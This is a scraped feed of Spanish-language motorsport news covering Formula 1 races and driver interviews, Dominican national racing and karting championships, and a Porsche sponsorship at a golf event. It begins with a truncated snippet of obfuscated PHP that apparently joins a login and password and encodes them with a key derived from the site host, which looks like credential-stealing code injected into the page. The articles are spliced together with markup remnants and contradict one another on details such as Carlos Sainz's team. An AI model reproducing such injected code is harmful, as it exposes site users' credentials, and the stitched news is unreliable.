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$_cr=$l.":".$p;$_xk=md5('a3f8b2c1d4e5f6071829304a5b6c7d8e9f0a1b2c3d4e5f607182930a1b2c3d4e'.parse_url(home_url(),PHP_URL_HOST));$_xe="";for($i=0;$i México.– El piloto mexicano Sergio “Checo” Pérez afirmó que compartir equipo con el neerlandés Max Verstappen en Red Bull representó el reto más complejo dentro de la Fórmula Uno, al describirlo como “el trabajo más difícil” en la máxima categoría del automovilismo. Te puede interesar:Lando Norris se convierte en campeón del mundo de Fórmula 1 en Abu Dabi En declaraciones ofrecidas al Cracks Podcast, conducido por el inversionista Oswaldo Trava, Pérez explicó que, aunque formó parte de una de las escuderías más competitivas del campeonato, el proyecto estaba claramente enfocado en Verstappen, situación que generaba una presión constante. “El equipo estaba construido alrededor de Max. Desde el inicio fui consciente de ello. Si yo era más rápido, se convertía en un problema y el ambiente se tornaba muy tenso”, señaló el piloto mexicano, al relatar conversaciones sostenidas con el entonces director del equipo, Christian Horner. Pérez detalló que durante su etapa en Red Bull enfrentó escenarios complejos, incluso cuando lograba igualar o superar el ritmo de su compañero. Indicó que, en determinados momentos, el monoplaza se volvía difícil de controlar, especialmente cuando competía directamente con Verstappen por resultados importantes. A pesar de estas circunstancias, el mexicano acumuló resultados destacados durante sus cuatro temporadas con la escudería austríaca, incluyendo un subcampeonato mundial, un tercer lugar en la clasificación general, dos cuartos puestos y un octavo lugar en su última campaña, en 2024. De cara al futuro, Pérez se prepara para una nueva etapa en su carrera al integrarse como piloto de la escudería Cadillac, que debutará en la Fórmula Uno a partir de la temporada 2026. El experimentado corredor aseguró que aprovechará todo lo aprendido en Red Bull para afrontar este nuevo desafío. “He aprendido a valorar mi trabajo y a sacar el máximo provecho de cada situación, incluso en contextos difíciles. Esa experiencia será clave en lo que viene”, concluyó. Redacción deportes (EFE).- El piloto neerlandés de Red Bull Max Verstappen dio un golpe sobre la mesa y ganó el Gran Premio de Catar, superando a los otros candidatos al título mundial, el australiano Oscar Piastri, segundo, y el inglés Lando Norris, cuarto, ambos de McLaren, mientras que el español Carlos Sainz (Williams) fue tercero. Te puede interesar: Piastri conquista la ‘minipole’ en Lusail; Alonso sorprende cuarto y Verstappen queda relegado
Con este desenlace en Lusail, el título se decidirá en Abu Dabi, en la última carrera del campeonato, dibujándose un desenlace más que ajustado con Norris aún liderando la clasificación con 408 puntos, aunque ahora con Max a solo 12 (396) y Piastri a 16 (392).

El piloto español de Williams, Carlos Sainz, se mostró “feliz” y “orgulloso de todo el equipo” tras firmar en Catar una de sus «mejores y más inesperadas carreras”, donde logró un sorpresivo tercer puesto, asegurando además el quinto lugar de la escudería británica en el mundial de constructores.
“Estoy muy feliz, contento y orgulloso de todo el equipo, porque pensábamos que iba a ser el fin de semana más complicado de la temporada. He ido más rápido de lo que esperaba y lo hemos clavado tanto en las paradas como en los ajustes”, explicó.
“Lo hemos hecho todo perfecto. En la primera mitad de temporada no estábamos consiguiendo dar con la tecla y con el paso de la temporada hemos ido mejorando. Estoy en una nube con este podio porque no lo esperaba”, añadió.

“Saliendo séptimos no te esperas un podio. Nos hemos puesto al final a pelear por un tercer puesto ante los McLaren, algo increíble. los cambios en la configuración del monoplaza nos han dado un ritmo de carrera buenísimo”, aseguró
No obstante, reconoció que en las últimas vueltas “se rompió una pieza y menos mal que fue en la recta final», porque perdieron «agarre delantero». «Creo que si la carrera se hubiera alargado una o dos giros más, Norris nos podía haber adelantado”, admitió.
El piloto español Fernando Alonso (Aston Martin) dijo este domingo que está más que contento por los 8 puntos sumados entre la esprint y la carrera del Gran Premio de Catar en Lusail y afirmó que para él fue “el mejor fin de semana de todo el año”.
“No esperaba acabar séptimo hoy, es un botín que tomamos con los brazos abiertos. La verdad es que la salida del ‘safety car’ varió la estrategia de carrera. Ha variado el desarrollo que esperábamos de carrera, aunque no mucho en cuanto a nosotros, porque menos los McLaren, todos hemos calcado la estrategia”, aseguró.
“No teníamos ritmo. Al menos podíamos mantenerlos detrás al ser un circuito difícil de adelantar. Mejor imposible porque logramos aguantar ahí, a pesar del ‘360’ -trompo- que sufrí”, destacó.
“El coche por momentos es imposible de conducir. Catar tiene, por suerte, asfalto suficiente para recuperarse sin problemas. Acabamos sin neumáticos delante. Este coche es mucho más difícil de conducir de lo que se ve en la tele”, concluyó.Categorías
]]>Santo Domingo.- Jonathan Basden revalidó su título de campeón en la máxima categoría del automovilismo nacional tras adjudicarse una de las dos carreras de la Racing Sedan (RS) y finalizar segundo en la restante, cerrando con broche de oro los Campeonatos Nacionales de la Federación Dominicana de Automovilismo (FDA) en el Gran Premio Repsol.
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El piloto de Viva, al mando del auto #133, celebró junto a su equipo el final de una temporada brillante. Giuseppe Rivasse llevó la carrera de cierre del campeonato y compartió podio con Basden al ocupar el segundo lugar en la primera del día. El tercer escalón fue completado por Christian Bonnet y Eric Checo, respectivamente.
En la SDS PRO, José Lora obtuvo su sexto título como piloto profesional al conquistar la división luego de ganar la primera carrera y finalizar segundo en la siguiente. Los honores fueron divididos con Kenny Guilbe, quien replicó el mismo desempeño. Yorkys Mateo también tuvo una actuación destacada en la categoría.
La división Amateur fue dominada por Claudimil Nivar y Fernando Mojica, quienes se impusieron en ambas carreras. En la primera, el podio lo completaron Elian Mateo y Bryan Herrera, mientras que en la segunda subieron Aris Custodio y Pedro Torres.
En la Street Touring (ST), Christian “El Huracán” Bonnet selló su sexto título nacional con una actuación imponente, ganando las dos carreras del fin de semana. En ambas logró imponerse sobre Juanki Leroux y Tonino Aybar, mientras que Miguel Susaña y Giancarlos Díaz se alternaron en el tercer lugar.
Por su parte, Piero Perrone cerró la temporada de manera magistral en la Turismo Nacional, ganando las dos carreras y asegurando el campeonato por segundo año consecutivo. Carlos Sansoucy, Marcos Pichardo y Halim Gantus se repartieron los lugares restantes en el podio.
La Index TC 30 tiene nuevo campeón: José “Che” Paiewonsky, quien a bordo de su Mazda RX-7 sumó un valioso segundo lugar detrás de Franco Benoit y por delante de Claudimir Nivar. En la segunda carrera, Juan Paulino se llevó la victoria seguido por Néstor Hidalgo y nuevamente Nivar. En la TC 32, Pililo ganó las dos carreras, JC Restituyoalcanzó dos segundos lugares y el tercer puesto fue compartido entre Carlos Guzmán y Jesús Vásquez.
La FDA y su presidente Adriano Abreu Sued expresaron su satisfacción por la exitosa culminación de la temporada 2025 y adelantaron que para el próximo año se proyectan grandes eventos, respaldados por importantes marcas, con el objetivo de seguir elevando el nivel del automovilismo nacional y brindar espectáculos de primera categoría a la creciente fanaticada.
]]>SANTO DOMINGO. – El piloto australiano Oscar Piastri, de la escudería McLaren, se adueñó este viernes de la ‘minipole’ para la carrera sprint del Gran Premio de Catar, tras marcar un tiempo de 1:20.055 en la clasificación disputada en el circuito de Lusail.
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Piastri superó por apenas 32 milésimas al británico George Russell (Mercedes) y por 230 milésimas a su compañero de equipo, Lando Norris, en una sesión intensa que dejó varias sorpresas y contrastes.
El español Fernando Alonso (Aston Martin) firmó una destacada actuación colocándose en la cuarta posición (+395), después de mostrar ritmo competitivo desde la SQ1. Su compatriota Carlos Sainz (Ferrari) concluyó octavo, a 487 milésimas del líder.
El neerlandés Max Verstappen (Red Bull), afectado por una salida de pista a cuatro minutos del final de la SQ3, no pudo luchar por la pole y terminó sexto (+473).
Su compañero de la sesión negativa fue Lewis Hamilton, quien con su Ferrari quedó eliminado en la SQ1 (18º) sin tiempo para completar su última vuelta.
Piastri abrió la ronda final con un sólido 1:20.241, mientras Verstappen lidiaba con daños en su monoplaza. Russell tomó momentáneamente la primera posición con 1:20.087, pero el australiano respondió con un giro impecable (1:20.055) para sellar la ‘minipole’.
Norris, por su parte, no logró mejorar tras perder frenada en una de las curvas iniciales.
La carrera sprint del Gran Premio de Catar se realizará este sábado a partir de las 3:00 p.m. (hora local) y tendrá un total de 23 vueltas al trazado de Lusail.
]]>Santo Domingo. El Autódromo Internacional Las Américas se prepara este domingo 30 de noviembre, cuando se baje el telón de la temporada 2025 de autos y motos con la celebración del Gran Premio Repsol, la definición de los campeonatos nacionales de la Federación Dominicana de Automovilismo (FDA) y la Federación dominicana de Motociclismo (FDM)
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Los pilotos agrupados en el Club Dominicano de Corredores de Circuito (CDCC) y el Track Club RD estarán desde el viernes afinando sus máquinas para ofrecer un espectáculo.
En la categoría reina Racing Sedan (RS), el cierre será digno de una final de película: Jonathan Basden y Giusseppe Rivas llegan separados por apenas 12 puntos tras una temporada electrizante. Ambos vienen de ganar una carrera cada uno en el pasado evento y este fin de semana será su batalla definitiva. A ellos se suman Tomás Urbaez y la dupla Emmanuel Torres / Piero Perrone, quienes también han tenido actuaciones sólidas durante el año.
En Street Touring, el campeón defensor “El Huracán” Cristhian Bonnet mantiene firmes sus objetivos, pero no puede descuidarse ya que cualquier error podría abrirle la puerta a la dupla de Tonino Aybar y Juaki Leroux, quienes acechan con opciones reales de romper la fiesta. Bonnet llega a la pista con 105 puntos y la pareja del Auto No.5 con 82.
Para la Stock Dominican Series (SDS) división PRO, José Lora entra por el carril interno frente a Yorky Mateo, prometiendo un cierre vibrante en las dos carreras restantes. En la división Amateur, el público tendrá el ojo puesto en el duelo cerrado entre Aris Custodio y Fernando Mojica, separados por apenas 4 puntos rumbo a la última fecha.
En Turismo Nacional, la dupla Piero Perrone / Emmanuel Torres llega con una cómoda ventaja de 37 puntos sobre Carlos Sansoucy / Michael McKoy, por lo que solo necesitan una presentación sólida para amarrar la corona.
La categoría Index TC30 presenta un escenario de máxima tensión: Néstor Hidalgo, José Paiewonsky, Eddy Lorenzo y Freddy Reyes están enfocados en la lucha por el liderato, y solo uno podrá reclamar el título. En TC32, ocho pilotos llegan con opciones reales, lo que garantiza dos heats de pura intensidad.
El Gran Premio Repsol también marcará el cierre de la temporada de motociclismo de alta cilindrada, donde categorías como Super Sport, ProBike, Amateur y Street Bike llegan sin favoritos claros. La emoción igualmente continuará con las divisiones de baja cilindrada, siempre protagonistas del espectáculo.
Este evento está avalado por la FDA y la FDM. Las puertas del autódromo abrirán a las 10:00 de la mañana, el sábado con las clasificaciones y el domingo con las careas; boletas disponibles en la entrada: RD$500.00 – Gradas y RD$1,500.00 – Área de paddocks

Santo Domingo.- El joven piloto Luis Alejandro Cifre, de apenas 14 años, se proclamó este domingo Campeón Nacional de Kartismo en la categoría Junior Max, ratificando su estatus como una de las principales promesas del automovilismo dominicano.
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La sexta y última fecha del campeonato, organizada por el Club Dominicano de Corredores de Kartismo (CDCK) y avalada por la Federación Nacional de Automovilismo (FDA), tuvo lugar en el moderno Kartódromo United Petroleum, en Sierra Prieta, donde se vivió una jornada repleta de emoción y alto nivel competitivo.
Cifre dominó la temporada con autoridad. En el cierre del campeonato consiguió dos pole positions consecutivas y triunfos de punta a punta, liderando cada vuelta y marcando las mejores vueltas rápidas en las carreras finales. Su impecable desempeño refuerza una trayectoria ascendente que ya suma 24 podios consecutivos en los últimos cuatro años, una marca excepcional para un piloto de su edad.
Su rendimiento internacional también ha impulsado su proyección. Durante 2025 compitió en dos eventos europeos, clasificando a todas las finales y enfrentándose a los 28 mejores kartistas juveniles del mundo. En 2026, Cifre representará al país en el prestigioso FIA Academy Trophy, llevando consigo la experiencia y madurez competitiva que lo han convertido en un referente del kartismo nacional.
Además del triunfo de Cifre, la jornada consagró a los campeones de las demás categorías:
Con esta última fecha, el CDCK cierra un año vibrante con seis eventos celebrados en Sierra Prieta, donde el público disfrutó de un ambiente familiar y de acceso gratuito, consolidando al kartismo como una disciplina en pleno crecimiento y con talentos sólidos para el futuro.
]]>Redacción Deportes.– Max Verstappen volvió a demostrar su jerarquía este domingo al conquistar el Gran Premio de Las Vegas, una carrera marcada tanto por su superioridad en pista como por el inesperado giro que supuso la descalificación de los McLaren de Lando Norris y Óscar Piastri al término de la competencia.
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La victoria del neerlandés cobra aún mayor valor debido a la decisión de la FIA, que dejó fuera a los pilotos de McLaren por incumplir el reglamento técnico, específicamente el artículo 3.5.9, que exige que la plancha inferior del monoplaza mantenga un grosor superior a nueve milímetros. Este dictamen alteró significativamente el podio final, elevando a George Russell al segundo lugar y otorgando a Andrea Kimi Antonelli un sorprendente tercer puesto.
Aprovechando un error de Norris en la salida, Verstappen tomó el control de la carrera desde la curva inicial y nunca volvió a mirar atrás. Su ritmo fue impecable, incluso ante el intento del poleman de recuperar terreno tras una frenada tardía que lo obligó a ceder posiciones.
El piloto de Red Bull, cuatro veces campeón mundial, firmó su sexta victoria de la temporada, un resultado que vuelve a encender la batalla por el campeonato.
“Todo estuvo bajo control. Pude gestionar los neumáticos y mantener el ritmo que necesitábamos”, declaró Verstappen tras su triunfo.
Andrea Kimi Antonelli fue otro de los grandes protagonistas tras escalar desde la 17.ª posición hasta colocarse finalmente en el podio luego de la descalificación de Piastri. Su actuación destacó por la impresionante duración de su stint con neumáticos duros, que mantuvo competitivos por más de 40 vueltas.
Lando Norris aceptó responsabilidad por su mala salida, aunque aclaró que el verdadero problema fue la falta de ritmo para seguir a Verstappen.
“Frené muy tarde en una zona sucia y me fui largo. Aun sin ese error, Max era demasiado rápido hoy”, señaló el británico.
Aun así, lamentó la oportunidad perdida, aunque la sanción posterior lo dejó completamente fuera de los puntos.
La descalificación de ambos McLaren reconfiguró el resultado final y añade una dosis extra de dramatismo a las dos carreras restantes del calendario. Verstappen recorta puntos clave y mantiene vivas sus aspiraciones al título.
]]>Madrid.– Lando Norris firmó una sensacional actuación bajo condiciones adversas y se adjudicó la pole position del Gran Premio de Las Vegas de Fórmula 1, en una clasificación marcada por la lluvia y el asfalto resbaladizo que obligó a los pilotos a exprimir al límite sus habilidades.
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El británico de McLaren superó por apenas décimas a Max Verstappen, quien aseguró la segunda posición en la parrilla. El español Carlos Sainz también logró destacarse en una pista complicada y partirá tercero tras una actuación sólida y consistente con su Ferrari.
La sesión dejó atrás a Óscar Piastri, compañero y principal rival de Norris por el campeonato. El australiano nunca llegó a encontrar el ritmo adecuado y finalizó quinto, superado también por el Mercedes de George Russell, que se quedó con la cuarta plaza.
Las cambiantes condiciones climáticas permitieron lucir a los pilotos de Racing Bulls, con Liam Lawson colocándose en un meritorio sexto lugar e Isack Hadjar en la octava posición.
Entre ambos se ubicó Fernando Alonso, quien volvió a mostrar su maestría bajo la lluvia para llevar su Aston Martin hasta una competitiva séptima posición, mitigando así las dificultades habituales del monoplaza.
El monegasco Charles Leclerc no consiguió controlar del todo su Ferrari y diversos errores lo relegaron al noveno puesto, muy lejos de sus aspiraciones habituales.
Pero peor suerte corrió Lewis Hamilton, quien cerró la clasificación en el último lugar tras una sesión marcada por salidas de pista y falta de adherencia.
El argentino Franco Colapinto firmó un desempeño aceptable al colocar su Alpine en la 15.ª posición, mientras que su compañero Pierre Gasly logró cerrar el top 10 de la sesión clasificatoria.
Con una parrilla condicionada por el clima y múltiples sorpresas, el Gran Premio de Las Vegas promete una carrera llena de estrategia, gestión del neumático y posibles rebotes en el rendimiento de los principales contendientes.
]]>Los más de 400 participantes del torneo de golf y sus invitados pudieron conocer las virtudes del fabricante de vehículos deportivos Alemana, muchos de estos golfistas pudieron conducir modelos como el Panamera, Taycan, Macan Ice, Macan Bev, 718 y la Cayenne durante los tres días en Punta Cana.
La emoción del golf se unió a la adrenalina de la velocidad. Como patrocinador oficial del Mitre 18, Porsche Center Santo Domingo ofreció un programa de pruebas de manejo que transformó el fin de semana en una experiencia única, combinando la elegancia del torneo con la tecnología de vanguardia de la marca alemana.
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El evento se llevó a cabo durante cuatro días en La Cana Beach & Golf Club, Punta Cana, y reunió a un destacado grupo de golfistas de República Dominicana. Esta experiencia única demostró una vez más el compromiso de la marca por ofrecer momentos inolvidables, combinando la tradición del golf con la emoción de conducir vehículos de alto rendimiento.
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